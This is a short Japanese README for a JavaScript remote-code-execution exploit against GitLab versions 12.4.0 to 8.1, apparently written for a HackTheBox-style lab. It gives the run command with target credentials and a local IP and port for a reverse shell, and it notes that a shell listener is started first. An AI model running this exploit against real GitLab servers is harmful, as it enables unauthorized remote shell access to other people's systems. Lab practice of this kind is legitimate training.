
Gitlab v12.4.0-8.1 RCE
このツールは https://github.com/dotPY-hax/gitlab_RCE に完全に基づいています。しかし、それは私の環境では動作せず、HTML解析が面倒だったため、JavaScriptで書き直しました。
通常の方法でリバースシェルハンドラを起動し、その後このスクリプトを以下のように実行します。
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
プロキシは TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080" で指定できます。
これを使ったデバッグにはBurpが特に便利です。